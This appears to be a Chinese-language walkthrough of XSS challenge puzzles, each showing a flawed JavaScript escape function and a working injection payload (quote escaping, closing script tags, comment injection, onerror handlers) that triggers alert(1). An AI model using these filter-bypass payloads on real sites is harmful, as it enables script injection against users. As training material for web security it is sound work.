题目:
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}
ANS:直接闭合前方的 "
和 (
即可
");alert(1);</script>
");alert(1)//
"
替换成 \"
题目:
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
ANS: \"
会解读为字元 "
而不是 JavaScript 语法,就无法闭合前面的 "
,但 \\
在字串中会被解读为 \
字元,因此构建出 \\"
,会得到 \\
字元,加上 "
闭合字串。
\");alert(1);</script>
\");alert(1);//
</script><script>alert(1)//
题目:
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}
ANS:直接用 将前面的 script 闭合,後面再额外开一个 script 跑 alert
</script><script>alert(1)//
<
被替换成 <
, "
被替换成 "
,http://N个任意字元(网址)
被替换成 <a href=网址>网址</a>
,把[[图片名称|图片叙述]]
替换成 <img alt="图片叙述" src="图片名称">
题目:
function escape(s) {
var text = s.replace(/</g, '<').replace(/"/g, '"');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}
ANS: [[a|http://onerror=alert(1)//]]
题目:
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);
// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}
ANS:利用 document.createComment
建立 HTML 注解,并在内容里输入 >
闭合注解
Comment#-><script>alert(1)</script>//
题目:
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}
使用 split(/#/)
作为分割 # 左边的字串为 thing[0],#右边的字串为 thing[1] (当然,若写很多#,可以有 thing[2]、thing[3]....,但是此题後面并无使用 thing[0] 与 thing[1] 以外的资料
thing[0] 的非 a-zA-Z'[]
以外的字元,都回传 Invalid callback
obj 变数为 {'userdata': thing[1] }
判断 obj 先经过JSON.stringify,再判断是否有 <
,若有则全部转换成 \u003c
,然後储存於 json 变数内
最後回传 "<script>" + thing[0] + "(" + json +")</script>"
我们可以根据上述规则,将一些规则整理一下,主要将 input 分为两部分 thing[0] # thing[1]
a-zA-Z'[]
的字"
与 \
使用跳脱符号,且会将 <
全部变成 \u003c
<script>" + thing[0] + "(" + thing[1]+")</script>
ANS:
'#';alert(1)//
题目:
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
ANS:
<script> </SCRIPT>
⇒ 合法"></script><img src=1 onerror=alert(1)>//
<<: EP25 - EKS 日志蒐集使用 Loki 和 Grafana(一)
恳求解答 Microsoft 的 Configuration Manager 与Windows Se...
Colab连结 今天要来实验不同的 ReLU 家族的评比,挑战者有 基本 ReLU 尾巴翘起来的 L...
显示出现在的时间 使用datatime模组 from datetime import datetim...
p5 中的 color 物件: 先认识两个色彩学 可以了解 https://www.instagra...
今天我们要来介绍 Sass Mixin 与 content的搭配 来解决RWD Scss: @mix...